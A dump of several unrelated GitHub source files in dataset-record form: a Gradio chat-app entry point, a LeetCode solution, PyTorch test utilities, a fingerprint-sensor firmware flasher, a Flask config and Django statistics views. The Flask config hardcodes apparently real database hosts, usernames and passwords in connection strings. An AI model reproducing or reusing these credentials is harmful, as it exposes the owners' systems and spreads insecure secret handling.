assistant.\"\r\n title_html = f\"

GPT 学术优化 {get_current_version()}

{theme_declaration}\"\r\n description = \"代码开源和更新[地址🚀](https://github.com/binary-husky/gpt_academic),\"\r\n description += \"感谢热情的[开发者们❤️](https://github.com/binary-husky/gpt_academic/graphs/contributors)\"\r\n\r\n # 问询记录, python 版本建议3.9+(越新越好)\r\n import logging, uuid\r\n os.makedirs(PATH_LOGGING, exist_ok=True)\r\n try:logging.basicConfig(filename=f\"{PATH_LOGGING}/chat_secrets.log\", level=logging.INFO, encoding=\"utf-8\", format=\"%(asctime)s %(levelname)-8s %(message)s\", datefmt=\"%Y-%m-%d %H:%M:%S\")\r\n except:logging.basicConfig(filename=f\"{PATH_LOGGING}/chat_secrets.log\", level=logging.INFO, format=\"%(asctime)s %(levelname)-8s %(message)s\", datefmt=\"%Y-%m-%d %H:%M:%S\")\r\n # Disable logging output from the 'httpx' logger\r\n logging.getLogger(\"httpx\").setLevel(logging.WARNING)\r\n print(f\"所有问询记录将自动保存在本地目录./{PATH_LOGGING}/chat_secrets.log, 请注意自我隐私保护哦!\")\r\n\r\n # 一些普通功能模块\r\n from core_functional import get_core_functions\r\n functional = get_core_functions()\r\n\r\n # 高级函数插件\r\n from crazy_functional import get_crazy_functions\r\n DEFAULT_FN_GROUPS, = get_conf('DEFAULT_FN_GROUPS')\r\n plugins = get_crazy_functions()\r\n all_plugin_groups = list(set([g for _, plugin in plugins.items() for g in plugin['Group'].split('|')]))\r\n match_group = lambda tags, groups: any([g in groups for g in tags.split('|')])\r\n\r\n # 处理markdown文本格式的转变\r\n gr.Chatbot.postprocess = format_io\r\n\r\n # 做一些外观色彩上的调整\r\n set_theme = adjust_theme()\r\n\r\n # 代理与自动更新\r\n from check_proxy import check_proxy, auto_update, warm_up_modules\r\n proxy_info = check_proxy(proxies)\r\n\r\n gr_L1 = lambda: gr.Row().style()\r\n gr_L2 = lambda scale, elem_id: gr.Column(scale=scale, elem_id=elem_id)\r\n if LAYOUT == \"TOP-DOWN\":\r\n gr_L1 = lambda: DummyWith()\r\n gr_L2 = lambda scale, elem_id: gr.Row()\r\n CHATBOT_HEIGHT /= 2\r\n\r\n cancel_handles = []\r\n with gr.Blocks(title=\"GPT 学术优化\", theme=set_theme, analytics_enabled=False, css=advanced_css) as demo:\r\n gr.HTML(title_html)\r\n secret_css, secret_font = gr.Textbox(visible=False), gr.Textbox(visible=False)\r\n cookies = gr.State(load_chat_cookies())\r\n with gr_L1():\r\n with gr_L2(scale=2, elem_id=\"gpt-chat\"):\r\n chatbot = gr.Chatbot(label=f\"当前模型:{LLM_MODEL}\", elem_id=\"gpt-chatbot\")\r\n if LAYOUT == \"TOP-DOWN\": chatbot.style(height=CHATBOT_HEIGHT)\r\n history = gr.State([])\r\n with gr_L2(scale=1, elem_id=\"gpt-panel\"):\r\n with gr.Accordion(\"输入区\", open=True, elem_id=\"input-panel\") as area_input_primary:\r\n with gr.Row():\r\n txt = gr.Textbox(show_label=False, placeholder=\"Input question here.\").style(container=False)\r\n with gr.Row():\r\n submitBtn = gr.Button(\"提交\", variant=\"primary\")\r\n with gr.Row():\r\n resetBtn = gr.Button(\"重置\", variant=\"secondary\"); resetBtn.style(size=\"sm\")\r\n stopBtn = gr.Button(\"停止\", variant=\"secondary\"); stopBtn.style(size=\"sm\")\r\n clearBtn = gr.Button(\"清除\", variant=\"secondary\", visible=False); clearBtn.style(size=\"sm\")\r\n if ENABLE_AUDIO: \r\n with gr.Row():\r\n audio_mic = gr.Audio(source=\"microphone\", type=\"numpy\", streaming=True, show_label=False).style(container=False)\r\n with gr.Row():\r\n status = gr.Markdown(f\"Tip: 按Enter提交, 按Shift+Enter换行。当前模型: {LLM_MODEL} \\n {proxy_info}\", elem_id=\"state-panel\")\r\n with gr.Accordion(\"基础功能区\", open=True, elem_id=\"basic-panel\") as area_basic_fn:\r\n with gr.Row():\r\n for k in functional:\r\n if (\"Visible\" in functional[k]) and (not functional[k][\"Visible\"]): continue\r\n variant = functional[k][\"Color\"] if \"Color\" in functional[k] else \"secondary\"\r\n functional[k][\"Button\"] = gr.Button(k, variant=variant)\r\n functional[k][\"Button\"].style(size=\"sm\")\r\n with gr.Accordion(\"函数插件区\", open=True, elem_id=\"plugin-panel\") as area_crazy_fn:\r\n with gr.Row():\r\n gr.Markdown(\"插件可读取“输入区”文本/路径作为参数(上传文件自动修正路径)\")\r\n with gr.Row(elem_id=\"input-plugin-group\"):\r\n plugin_group_sel = gr.Dropdown(choices=all_plugin_groups, label='', show_label=False, value=DEFAULT_FN_GROUPS, \r\n multiselect=True, interactive=True, elem_classes='normal_mut_select').style(container=False)\r\n with gr.Row():\r\n for k, plugin in plugins.items():\r\n if not plugin.get(\"AsButton\", True): continue\r\n visible = True if match_group(plugin['Group'], DEFAULT_FN_GROUPS) else False\r\n variant = plugins[k][\"Color\"] if \"Color\" in plugin else \"secondary\"\r\n plugin['Button'] = plugins[k]['Button'] = gr.Button(k, variant=variant, visible=visible).style(size=\"sm\")\r\n with gr.Row():\r\n with gr.Accordion(\"更多函数插件\", open=True):\r\n dropdown_fn_list = []\r\n for k, plugin in plugins.items():\r\n if not match_group(plugin['Group'], DEFAULT_FN_GROUPS): continue\r\n if not plugin.get(\"AsButton\", True): dropdown_fn_list.append(k) # 排除已经是按钮的插件\r\n elif plugin.get('AdvancedArgs', False): dropdown_fn_list.append(k) # 对于需要高级参数的插件,亦在下拉菜单中显示\r\n with gr.Row():\r\n dropdown = gr.Dropdown(dropdown_fn_list, value=r\"打开插件列表\", label=\"\", show_label=False).style(container=False)\r\n with gr.Row():\r\n plugin_advanced_arg = gr.Textbox(show_label=True, label=\"高级参数输入区\", visible=False, \r\n placeholder=\"这里是特殊函数插件的高级参数输入区\").style(container=False)\r\n with gr.Row():\r\n switchy_bt = gr.Button(r\"请先从插件列表中选择\", variant=\"secondary\").style(size=\"sm\")\r\n with gr.Row():\r\n with gr.Accordion(\"点击展开“文件上传区”。上传本地文件/压缩包供函数插件调用。\", open=False) as area_file_up:\r\n file_upload = gr.Files(label=\"任何文件, 但推荐上传压缩文件(zip, tar)\", file_count=\"multiple\")\r\n with gr.Accordion(\"更换模型 & SysPrompt & 交互界面布局\", open=(LAYOUT == \"TOP-DOWN\"), elem_id=\"interact-panel\"):\r\n system_prompt = gr.Textbox(show_label=True, placeholder=f\"System Prompt\", label=\"System prompt\", value=initial_prompt)\r\n top_p = gr.Slider(minimum=-0, maximum=1.0, value=1.0, step=0.01,interactive=True, label=\"Top-p (nucleus sampling)\",)\r\n temperature = gr.Slider(minimum=-0, maximum=2.0, value=1.0, step=0.01, interactive=True, label=\"Temperature\",)\r\n max_length_sl = gr.Slider(minimum=256, maximum=8192, value=4096, step=1, interactive=True, label=\"Local LLM MaxLength\",)\r\n checkboxes = gr.CheckboxGroup([\"基础功能区\", \"函数插件区\", \"底部输入区\", \"输入清除键\", \"插件参数区\"], value=[\"基础功能区\", \"函数插件区\"], label=\"显示/隐藏功能区\")\r\n md_dropdown = gr.Dropdown(AVAIL_LLM_MODELS, value=LLM_MODEL, label=\"更换LLM模型/请求源\").style(container=False)\r\n theme_dropdown = gr.Dropdown(AVAIL_THEMES, value=THEME, label=\"更换UI主题\").style(container=False)\r\n dark_mode_btn = gr.Button(\"切换界面明暗 ☀\", variant=\"secondary\").style(size=\"sm\")\r\n dark_mode_btn.click(None, None, None, _js=\"\"\"() => {\r\n if (document.querySelectorAll('.dark').length) {\r\n document.querySelectorAll('.dark').forEach(el => el.classList.remove('dark'));\r\n } else {\r\n document.querySelector('body').classList.add('dark');\r\n }\r\n }\"\"\",\r\n )\r\n gr.Markdown(description)\r\n with gr.Accordion(\"备选输入区\", open=True, visible=False, elem_id=\"input-panel2\") as area_input_secondary:\r\n with gr.Row():\r\n txt2 = gr.Textbox(show_label=False, placeholder=\"Input question here.\", label=\"输入区2\").style(container=False)\r\n with gr.Row():\r\n submitBtn2 = gr.Button(\"提交\", variant=\"primary\")\r\n with gr.Row():\r\n resetBtn2 = gr.Button(\"重置\", variant=\"secondary\"); resetBtn2.style(size=\"sm\")\r\n stopBtn2 = gr.Button(\"停止\", variant=\"secondary\"); stopBtn2.style(size=\"sm\")\r\n clearBtn2 = gr.Button(\"清除\", variant=\"secondary\", visible=False); clearBtn2.style(size=\"sm\")\r\n\r\n # 功能区显示开关与功能区的互动\r\n def fn_area_visibility(a):\r\n ret = {}\r\n ret.update({area_basic_fn: gr.update(visible=(\"基础功能区\" in a))})\r\n ret.update({area_crazy_fn: gr.update(visible=(\"函数插件区\" in a))})\r\n ret.update({area_input_primary: gr.update(visible=(\"底部输入区\" not in a))})\r\n ret.update({area_input_secondary: gr.update(visible=(\"底部输入区\" in a))})\r\n ret.update({clearBtn: gr.update(visible=(\"输入清除键\" in a))})\r\n ret.update({clearBtn2: gr.update(visible=(\"输入清除键\" in a))})\r\n ret.update({plugin_advanced_arg: gr.update(visible=(\"插件参数区\" in a))})\r\n if \"底部输入区\" in a: ret.update({txt: gr.update(value=\"\")})\r\n return ret\r\n checkboxes.select(fn_area_visibility, [checkboxes], [area_basic_fn, area_crazy_fn, area_input_primary, area_input_secondary, txt, txt2, clearBtn, clearBtn2, plugin_advanced_arg] )\r\n # 整理反复出现的控件句柄组合\r\n input_combo = [cookies, max_length_sl, md_dropdown, txt, txt2, top_p, temperature, chatbot, history, system_prompt, plugin_advanced_arg]\r\n output_combo = [cookies, chatbot, history, status]\r\n predict_args = dict(fn=ArgsGeneralWrapper(predict), inputs=[*input_combo, gr.State(True)], outputs=output_combo)\r\n # 提交按钮、重置按钮\r\n cancel_handles.append(txt.submit(**predict_args))\r\n cancel_handles.append(txt2.submit(**predict_args))\r\n cancel_handles.append(submitBtn.click(**predict_args))\r\n cancel_handles.append(submitBtn2.click(**predict_args))\r\n resetBtn.click(lambda: ([], [], \"已重置\"), None, [chatbot, history, status])\r\n resetBtn2.click(lambda: ([], [], \"已重置\"), None, [chatbot, history, status])\r\n clearBtn.click(lambda: (\"\",\"\"), None, [txt, txt2])\r\n clearBtn2.click(lambda: (\"\",\"\"), None, [txt, txt2])\r\n if AUTO_CLEAR_TXT:\r\n submitBtn.click(lambda: (\"\",\"\"), None, [txt, txt2])\r\n submitBtn2.click(lambda: (\"\",\"\"), None, [txt, txt2])\r\n txt.submit(lambda: (\"\",\"\"), None, [txt, txt2])\r\n txt2.submit(lambda: (\"\",\"\"), None, [txt, txt2])\r\n # 基础功能区的回调函数注册\r\n for k in functional:\r\n if (\"Visible\" in functional[k]) and (not functional[k][\"Visible\"]): continue\r\n click_handle = functional[k][\"Button\"].click(fn=ArgsGeneralWrapper(predict), inputs=[*input_combo, gr.State(True), gr.State(k)], outputs=output_combo)\r\n cancel_handles.append(click_handle)\r\n # 文件上传区,接收文件后与chatbot的互动\r\n file_upload.upload(on_file_uploaded, [file_upload, chatbot, txt, txt2, checkboxes, cookies], [chatbot, txt, txt2, cookies])\r\n # 函数插件-固定按钮区\r\n for k in plugins:\r\n if not plugins[k].get(\"AsButton\", True): continue\r\n click_handle = plugins[k][\"Button\"].click(ArgsGeneralWrapper(plugins[k][\"Function\"]), [*input_combo], output_combo)\r\n click_handle.then(on_report_generated, [cookies, file_upload, chatbot], [cookies, file_upload, chatbot])\r\n cancel_handles.append(click_handle)\r\n # 函数插件-下拉菜单与随变按钮的互动\r\n def on_dropdown_changed(k):\r\n variant = plugins[k][\"Color\"] if \"Color\" in plugins[k] else \"secondary\"\r\n ret = {switchy_bt: gr.update(value=k, variant=variant)}\r\n if plugins[k].get(\"AdvancedArgs\", False): # 是否唤起高级插件参数区\r\n ret.update({plugin_advanced_arg: gr.update(visible=True, label=f\"插件[{k}]的高级参数说明:\" + plugins[k].get(\"ArgsReminder\", [f\"没有提供高级参数功能说明\"]))})\r\n else:\r\n ret.update({plugin_advanced_arg: gr.update(visible=False, label=f\"插件[{k}]不需要高级参数。\")})\r\n return ret\r\n dropdown.select(on_dropdown_changed, [dropdown], [switchy_bt, plugin_advanced_arg] )\r\n\r\n def on_md_dropdown_changed(k):\r\n return {chatbot: gr.update(label=\"当前模型:\"+k)}\r\n md_dropdown.select(on_md_dropdown_changed, [md_dropdown], [chatbot] )\r\n\r\n def on_theme_dropdown_changed(theme, secret_css):\r\n adjust_theme, css_part1, _, adjust_dynamic_theme = load_dynamic_theme(theme)\r\n if adjust_dynamic_theme:\r\n css_part2 = adjust_dynamic_theme._get_theme_css()\r\n else:\r\n css_part2 = adjust_theme()._get_theme_css()\r\n return css_part2 + css_part1\r\n \r\n theme_handle = theme_dropdown.select(on_theme_dropdown_changed, [theme_dropdown, secret_css], [secret_css])\r\n theme_handle.then(\r\n None,\r\n [secret_css],\r\n None,\r\n _js=\"\"\"(css) => {\r\n var existingStyles = document.querySelectorAll(\"style[data-loaded-css]\");\r\n for (var i = 0; i < existingStyles.length; i++) {\r\n var style = existingStyles[i];\r\n style.parentNode.removeChild(style);\r\n }\r\n var styleElement = document.createElement('style');\r\n styleElement.setAttribute('data-loaded-css', css);\r\n styleElement.innerHTML = css;\r\n document.head.appendChild(styleElement);\r\n }\r\n \"\"\"\r\n )\r\n # 随变按钮的回调函数注册\r\n def route(request: gr.Request, k, *args, **kwargs):\r\n if k in [r\"打开插件列表\", r\"请先从插件列表中选择\"]: return\r\n yield from ArgsGeneralWrapper(plugins[k][\"Function\"])(request, *args, **kwargs)\r\n click_handle = switchy_bt.click(route,[switchy_bt, *input_combo], output_combo)\r\n click_handle.then(on_report_generated, [cookies, file_upload, chatbot], [cookies, file_upload, chatbot])\r\n cancel_handles.append(click_handle)\r\n # 终止按钮的回调函数注册\r\n stopBtn.click(fn=None, inputs=None, outputs=None, cancels=cancel_handles)\r\n stopBtn2.click(fn=None, inputs=None, outputs=None, cancels=cancel_handles)\r\n plugins_as_btn = {name:plugin for name, plugin in plugins.items() if plugin.get('Button', None)}\r\n def on_group_change(group_list):\r\n btn_list = []\r\n fns_list = []\r\n if not group_list: # 处理特殊情况:没有选择任何插件组\r\n return [*[plugin['Button'].update(visible=False) for _, plugin in plugins_as_btn.items()], gr.Dropdown.update(choices=[])]\r\n for k, plugin in plugins.items():\r\n if plugin.get(\"AsButton\", True): \r\n btn_list.append(plugin['Button'].update(visible=match_group(plugin['Group'], group_list))) # 刷新按钮\r\n if plugin.get('AdvancedArgs', False): dropdown_fn_list.append(k) # 对于需要高级参数的插件,亦在下拉菜单中显示\r\n elif match_group(plugin['Group'], group_list): fns_list.append(k) # 刷新下拉列表\r\n return [*btn_list, gr.Dropdown.update(choices=fns_list)]\r\n plugin_group_sel.select(fn=on_group_change, inputs=[plugin_group_sel], outputs=[*[plugin['Button'] for name, plugin in plugins_as_btn.items()], dropdown])\r\n if ENABLE_AUDIO: \r\n from crazy_functions.live_audio.audio_io import RealtimeAudioDistribution\r\n rad = RealtimeAudioDistribution()\r\n def deal_audio(audio, cookies):\r\n rad.feed(cookies['uuid'].hex, audio)\r\n audio_mic.stream(deal_audio, inputs=[audio_mic, cookies])\r\n\r\n def init_cookie(cookies, chatbot):\r\n # 为每一位访问的用户赋予一个独一无二的uuid编码\r\n cookies.update({'uuid': uuid.uuid4()})\r\n return cookies\r\n demo.load(init_cookie, inputs=[cookies, chatbot], outputs=[cookies])\r\n demo.load(lambda: 0, inputs=None, outputs=None, _js='()=>{GptAcademicJavaScriptInit();}')\r\n \r\n # gradio的inbrowser触发不太稳定,回滚代码到原始的浏览器打开函数\r\n def auto_opentab_delay():\r\n import threading, webbrowser, time\r\n print(f\"如果浏览器没有自动打开,请复制并转到以下URL:\")\r\n print(f\"\\t(亮色主题): http://localhost:{PORT}\")\r\n print(f\"\\t(暗色主题): http://localhost:{PORT}/?__theme=dark\")\r\n def open():\r\n time.sleep(2) # 打开浏览器\r\n DARK_MODE, = get_conf('DARK_MODE')\r\n if DARK_MODE: webbrowser.open_new_tab(f\"http://localhost:{PORT}/?__theme=dark\")\r\n else: webbrowser.open_new_tab(f\"http://localhost:{PORT}\")\r\n threading.Thread(target=open, name=\"open-browser\", daemon=True).start()\r\n threading.Thread(target=auto_update, name=\"self-upgrade\", daemon=True).start()\r\n threading.Thread(target=warm_up_modules, name=\"warm-up\", daemon=True).start()\r\n\r\n auto_opentab_delay()\r\n demo.queue(concurrency_count=CONCURRENT_COUNT).launch(\r\n quiet=True,\r\n server_name=\"0.0.0.0\", \r\n server_port=PORT,\r\n favicon_path=\"docs/logo.png\", \r\n auth=AUTHENTICATION if len(AUTHENTICATION) != 0 else None,\r\n blocked_paths=[\"config.py\",\"config_private.py\",\"docker-compose.yml\",\"Dockerfile\"])\r\n\r\n # 如果需要在二级路径下运行\r\n # CUSTOM_PATH, = get_conf('CUSTOM_PATH')\r\n # if CUSTOM_PATH != \"/\": \r\n # from toolbox import run_gradio_in_subpath\r\n # run_gradio_in_subpath(demo, auth=AUTHENTICATION, port=PORT, custom_path=CUSTOM_PATH)\r\n # else: \r\n # demo.launch(server_name=\"0.0.0.0\", server_port=PORT, auth=AUTHENTICATION, favicon_path=\"docs/logo.png\",\r\n # blocked_paths=[\"config.py\",\"config_private.py\",\"docker-compose.yml\",\"Dockerfile\"])\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"binary-husky/gpt_academic","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21239,"program_lang":"python","lang":"en","doc_type":"code","stars":47095,"dataset":"github-code","pt":"32"} +{"seq_id":"15485141621","text":"\"\"\"\n\n编写一个算法来判断一个数 n 是不是快乐数。\n\n“快乐数” 定义为:\n\n对于一个正整数,每一次将该数替换为它每个位置上的数字的平方和。\n然后重复这个过程直到这个数变为 1,也可能是 无限循环 但始终变不到 1。\n如果这个过程 结果为 1,那么这个数就是快乐数。\n如果 n 是 快乐数 就返回 true ;不是,则返回 false 。\n\"\"\"\n\nclass Solution:\n def isHappy(self, n: int) -> bool:\n def get_next_n(n):\n total_sum = 0\n while n > 0:\n n, digit = divmod(n, 10)\n total_sum += digit ** 2\n return total_sum\n seen = set()\n while n != 1:\n n = get_next_n(n)\n if n in seen:\n return False\n seen.add(n)\n return True\n\nif __name__ == '__main__':\n res = Solution().isHappy(7)\n print(res)","repo_name":"ChenZixinn/leetcode","sub_path":"easy/哈希表/202_快乐数.py","file_name":"202_快乐数.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21504926015","text":"import torch\nimport os\nimport h5py\nimport numpy as np\nfrom model import Net\nimport pdb\n\ndef accuracy(model, validation_loader, pct_close, criterion, device, network, eval = False):\n with torch.no_grad():\n val_correct = []\n val_loss_func = []\n n_items = 0\n for idx, (test_f_rf,test_M_D) in enumerate(validation_loader):\n n_items += len(test_M_D)\n test_f_rf, test_M_D = test_f_rf.to(device), test_M_D.to(device)\n if (network == 'CNN'):\n X = test_f_rf.double().unsqueeze(1) # pytorch input should be float -> awkward right?\n Y = test_M_D.double().view(-1, 1) # converting into 2-d tensor\n else:\n X = test_f_rf.float()\n Y = test_M_D.float().view(-1,1) # reshaping to 2-d Tensor\n oupt = model(X) # all predicted as 2-d Tensor\n loss = criterion(oupt,Y)\n n_correct = torch.sum((torch.abs(oupt - Y) < torch.abs(pct_close * Y)))\n val_correct.append(n_correct)\n val_loss_func.append(loss)\n\n loss_func = sum(val_loss_func)/ len(val_loss_func)\n result = (sum(val_correct) * 100.0 / n_items)\n RMSE_loss = torch.sqrt(loss_func)\n\n # observing the result when set to eval mode\n if (eval):\n print('Predicted test output for random batch = {}, actual output = {} with accuracy of {:.2f}% '\n 'and RMSE = {:.6f}'.format(oupt, Y, result, RMSE_loss))\n return result, RMSE_loss, loss_func\n\ndef testing(model_path,\n data_path,\n counter,\n net,\n criterion,\n device,\n network,\n load_model = True,\n trained_test = False):\n\n net = net.eval()\n with torch.no_grad():\n eval_file = h5py.File(data_path + 'eval_data.mat', 'r')\n eval_var = eval_file.get('eval_data')\n if (network == 'CNN'):\n X_eval = torch.Tensor(np.array(eval_var[0:-2, :]).T).double().unsqueeze(1) # a 2-d tensor\n Y_eval = torch.Tensor(np.array(eval_var[-1, :]).T).double().view(-1, 1) # converting to a 2-d tensor\n else:\n X_eval = torch.Tensor(np.array(eval_var[0:-2, :]).T) # a 2-d tensor\n Y_eval = torch.Tensor(np.array(eval_var[-1, :]).T).view(-1, 1) # converting to a 2-d tensor\n\n X_eval, Y_eval = X_eval.to(device), Y_eval.to(device)\n if (load_model):\n test_loss = [] # accumulating the losses on different models\n i = 0\n epis = []\n for filename in os.listdir(model_path):\n if filename.endswith(\".pth\"):\n net.load_state_dict(torch.load(model_path + '/' + filename))\n net.eval()\n # pdb.set_trace()\n y = net(X_eval)\n loss_test = torch.sqrt(criterion(y, Y_eval))\n test_loss.append(loss_test.item())\n if not trained_test:\n print ('test result at epoch {} is y = {}'.format(counter[i], y.view(len(y))))\n else:\n if len(filename) == 12:\n epo = int(filename[5:8])\n epis.append(epo)\n else:\n epo = int(filename[5:7])\n epis.append(epo)\n print('Actual output = {}'.format(Y_eval))\n print('test result at epoch {} is y = {}'.format(epo, y))\n i = i + 1\n continue\n else:\n continue\n test_RMSE = min(test_loss)\n if not trained_test:\n min_val_epoch = counter[np.argmin(test_loss)]\n print('the best model is at epoch {} which gives a loss of {:.6f} \\n'\n .format(min_val_epoch, test_RMSE))\n else:\n print('the best model is at epoch {} gives a loss of {:.6f} \\n'\n .format(epis[np.argmin(test_loss)], test_RMSE))\n else:\n y = net(X_eval)\n test_loss = criterion(y, Y_eval)\n test_RMSE = torch.sqrt(test_loss)\n print ('Actual output = {} and Predicted test output = {} with RMSE = {:.6f}'.format(Y_eval, y, test_RMSE))\n return test_loss, test_RMSE\n\nif __name__ == '__main__':\n net = Net(n_inp = 402, n_hid1 = 25, n_hid2 = 25, n_out = 1,\n dropout_rate = 0.5, weight_ini = 0.05, dropout_decision = False)\n testing(model_path = \"../../Neural-Network-Regression/log/testing_models/\"\n \"Apr-23-2020-10.20.43-h25_lr0.001_lam0.0005_bat_30/models\"\n ,data_path = \"..\\\\..\\\\matlab files\\\\area2_non_IID\\\\manipulated\\\\\"\n ,counter = 0\n ,net = net\n ,criterion = torch.nn.MSELoss()\n ,device = torch.device(\"cpu\")\n ,load_model = True\n ,trained_test = True # setting this true means we are using a pre-trained model to test\n )\n","repo_name":"abodh/Neural_Network_Inertia_Estimation","sub_path":"main code files/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"34106658639","text":"import logging\nimport os\n\nimport protocol\nimport wrapless\n\n\ndef main(product: int, target_firmware_name: str):\n if \"DEBUG\" in os.environ:\n logging.basicConfig(level=logging.DEBUG)\n\n device = wrapless.Device(product, protocol.USBProtocol)\n device.ping()\n\n firmware_version = device.read_firmware_version()\n print(f\"Firmware version: {firmware_version}\")\n\n _, chip_vendor, kind, _ = firmware_version.split(\"_\")\n if kind != \"IAP\":\n raise Exception(\"Chip already has firmware\")\n\n target_chip_vendor = target_firmware_name.split(\"_\")[1]\n if chip_vendor[:2] != target_chip_vendor[:2]:\n raise Exception(\"Chip vendor does not match\")\n\n with open(f\"firmware/53x5/{target_firmware_name}.bin\", \"rb\") as firmware_file:\n firmware = firmware_file.read()\n\n device.update_firmware(firmware)\n","repo_name":"goodix-fp-linux-dev/goodix-fp-dump","sub_path":"flasher_53x5.py","file_name":"flasher_53x5.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":194,"dataset":"github-code","pt":"32"} +{"seq_id":"37650101487","text":"import os\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nclass Config:\n SECRET_KEY = os.getenv('SECRET_KEY', 'my_precious_secret_key')\n DEBUG = False\n\nclass DevelopmentConfig(Config):\n DEBUG = True\n # SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:asd@nj-kol:33006/sample'\n # SQLALCHEMY_DATABASE_URI = 'mssql+pyodbc://sa:%40mssql2017@nj-kol:31433/sample?driver=ODBC+Driver+17+for+SQL+Server'\n SQLALCHEMY_DATABASE_URI = 'mssql+pyodbc://njkol:%40Somnath88@njkolazuresql.database.windows.net:1433/njkoldemos?driver=ODBC+Driver+17+for+SQL+Server'\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n\nclass TestingConfig(Config):\n DEBUG = True\n TESTING = True\n SQLALCHEMY_DATABASE_URI = 'sqlite:////Users/nilanjan1.sarkar/Documents/Softwares/Sqlite/data/sample_app.db'\n PRESERVE_CONTEXT_ON_EXCEPTION = False\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n\nclass ProductionConfig(Config):\n DEBUG = False\n SQLALCHEMY_DATABASE_URI = 'mssql+pyodbc://njkol:%40Somnath88@njkolsingledb.database.windows.net:1433/njkolsqlpool?driver=ODBC+Driver+17+for+SQL+Server'\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n \nconfig_by_name = dict(\n dev=DevelopmentConfig,\n test=TestingConfig,\n prod=ProductionConfig\n)\n\nkey = Config.SECRET_KEY\n","repo_name":"Nj-kol/Azure_Python_Demos","sub_path":"Containers/flask_product_api/product_api/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19243908203","text":"from django.contrib.auth.decorators import login_required\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom .models import Statistic, Violation\nfrom accounts.models import Employee, Company\nfrom django.http import HttpResponse\nfrom .utils.check_stats import delete_stats_if_a_month_have_passed\nimport plotly.graph_objects as go\nimport plotly.offline as opy\nimport datetime, pytz\nimport csv\n\n\ndef get_employee_stats(stats, company):\n\n stats_dict = {}\n\n for stat in stats:\n stats_dict[stat.employee.first_name + ' ' + stat.employee.last_name] = stat.all_violations\n \n employees = list(stats_dict.keys())\n violations = list(stats_dict.values())\n\n data = [go.Bar(\n x=employees, y=violations,\n marker=dict(\n line=dict(\n color='rgb(8,48,107)',\n width=1\n ),\n ),\n textposition='auto',\n opacity=0.8,\n )]\n\n layout = go.Layout(\n title=\"Violations of all employees\" if company == None else f\"Violations in {company}\",\n font=dict(\n family='Poppins, monospace',\n size=14,\n color='#7f7f7f'))\n\n figure = go.Figure(data=data, layout=layout)\n figure.update_xaxes(\n title='Employee'\n )\n\n figure.update_yaxes(\n title='Violations'\n )\n\n chart = opy.plot(figure, output_type='div')\n\n return chart\n\n\ndef get_detailed_chart_for_employee(violations):\n\n detailed_violations = {}\n\n for violation in violations:\n key = violation.violation_date.strftime(\"%d. %B %Y\")\n if key in detailed_violations:\n detailed_violations[key] += 1\n else:\n detailed_violations[key] = 1\n\n violation_dates = list(detailed_violations.keys())\n all_violations_per_date = list(detailed_violations.values())\n\n if len(violation_dates) < 3:\n return\n\n data = [go.Scatter(\n x=violation_dates, y=all_violations_per_date,\n textposition='bottom center',\n )]\n\n layout = go.Layout(\n title=f\"Violation chart - {violations[0].statistic.employee}\",\n font=dict(\n family='Poppins, monospace',\n size=14,\n color='#7f7f7f'))\n\n figure = go.Figure(data=data, layout=layout)\n figure.update_xaxes(\n title='Date'\n )\n\n figure.update_yaxes(\n title='Violations'\n )\n\n figure.update_layout(title_x=0.5)\n\n chart = opy.plot(figure, output_type='div')\n\n return chart\n\n\n@staff_member_required\ndef export_csv_stats(request):\n \n employee_id = request.GET['employee_id']\n tz = pytz.timezone('Europe/Sofia')\n\n employee = Employee.objects.filter(id=employee_id).first()\n\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=Stats-' + employee.first_name + ' ' + employee.last_name + '.csv'\n\n writer = csv.writer(response)\n writer.writerow(['Violation dates'])\n\n stat = Statistic.objects.filter(employee__id=employee_id).first()\n violations = Violation.objects.filter(statistic=stat)\n\n if stat == None:\n messages.info(request, 'Statistics for this account are not found')\n return redirect('profile')\n\n for v in violations:\n writer.writerow([v.violation_date + tz])\n \n return response\n\n\n@staff_member_required\ndef dashboard(request):\n employees = Employee.objects.all() if request.user.is_superuser else Employee.objects.filter(company=request.user.company)\n \n company_stats = Statistic.objects.filter(employee__company__name=request.user.company)\n updated_stats = Statistic.objects.all() if request.user.is_superuser else company_stats\n\n disable = 'disabled' if len(company_stats) == 0 else None\n\n context = {\n 'employees': employees,\n 'stats': updated_stats,\n 'disable': disable,\n }\n\n return render(request, 'accounts/dashboard.html', context)\n\n\n@staff_member_required\ndef dashboard_export_csvs(request):\n tz = pytz.timezone('Europe/Sofia')\n\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=Stats' + str(datetime.datetime.now() + tz) + '.csv'\n\n writer = csv.writer(response)\n writer.writerow(['First name', 'Last name', 'Violations', 'Last date without mask'])\n \n if request.user.is_superuser:\n stats = Statistic.objects.all()\n else:\n stats = Statistic.objects.filter(employee__company__name=request.user.company)\n\n if not stats:\n messages.info(request, 'There are no statistics available')\n return redirect('dashboard')\n\n for stat in stats:\n writer.writerow([stat.employee.first_name, stat.employee.last_name, stat.all_violations, stat.last_seen_without_mask + tz])\n\n return response\n\n\n@staff_member_required\ndef delete_dashboard_stats(request):\n Statistic.objects.filter(employee__company__name=request.user.company).delete()\n\n return redirect('dashboard')\n\n\n@staff_member_required\ndef view_charts(request):\n\n companies = Company.objects.all()\n stats = Statistic.objects.all()\n\n charts_for_company = []\n\n for company in companies:\n stats_per_company = Statistic.objects.filter(employee__company__name=company)\n charts_for_company.append(get_employee_stats(stats_per_company, company=company))\n\n if request.user.is_superuser:\n context = {\n 